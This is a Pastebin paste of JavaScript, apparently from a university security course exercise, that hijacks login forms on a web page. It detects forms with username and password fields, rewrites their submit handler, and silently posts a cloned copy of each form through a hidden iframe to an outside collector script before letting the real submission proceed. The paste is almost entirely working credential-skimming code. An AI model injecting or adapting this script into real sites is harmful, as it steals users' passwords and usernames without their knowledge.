Advertisement
richarjw

stage5

Feb 6th, 2017
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.71 KB | None | 0 0
  1. var frms = document.getElementsByTagName("form");
  2. for(i=0; i<frms.length; i++) {
  3. hijack(frms.item(i));
  4. }
  5. function hijack(frmObj) {
  6. var hasUsername = false;
  7. var hasPassword = false;
  8. for (i of frmObj.getElementsByTagName('input')) {
  9. hasUsername = hasUsername || i.getAttribute('id').contains('user') || i.getAttribute('name').contains('user');
  10. hasPassword = hasPassword || i.getAttribute('type').contains('password');
  11. }
  12. if (hasUsername && hasPassword) {
  13. alert("FOUND ONE");
  14. var delayCode = "";
  15. if(frmObj.hasAttribute("onsubmit")) {
  16. delayCode = frmObj.getAttribute("onsubmit");}
  17. frmObj.setAttribute("onsubmit", "return leech(this,function(){" + delayCode + "});");
  18. }
  19. }
  20.  
  21. /** Copies and submits a form object’s complete contents */
  22. function leech(frmObj, delayCode) {
  23. var rnd = Math.floor(Math.random()*256);
  24. var newFrm = frmObj.cloneNode(true); //deep clone
  25. var elt = document.createElement("input");
  26. elt.setAttribute("name", "442team");
  27. elt.setAttribute("value", "TeamAlpha");
  28. newFrm.appendChild(elt);
  29. newFrm.setAttribute("id", "leechedID" + rnd);
  30. newFrm.setAttribute("target", "hiddenframe" + newFrm.id);
  31. newFrm.setAttribute("action", "https://www.rose-hulman.edu/~stammsl/442/slurp.php");
  32.  
  33. var hiddenIframe = document.createElement("iframe");
  34. hiddenIframe.setAttribute("style", "position:absolute;" + "visibility:hidden;z-index:0;");
  35. hiddenIframe.setAttribute("name", "hiddenframe" + newFrm.id);
  36.  
  37. hiddenIframe.appendChild(newFrm);
  38. window.document.body.appendChild(hiddenIframe);
  39.  
  40.  
  41. newFrm.submit();
  42.  
  43. setTimeout(function() {
  44. window.document.body.removeChild(hiddenIframe);
  45.  
  46. if(delayCode() != false) { frmObj.submit(); }
  47. }, 50);
  48.  
  49.  
  50. return false;
  51. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement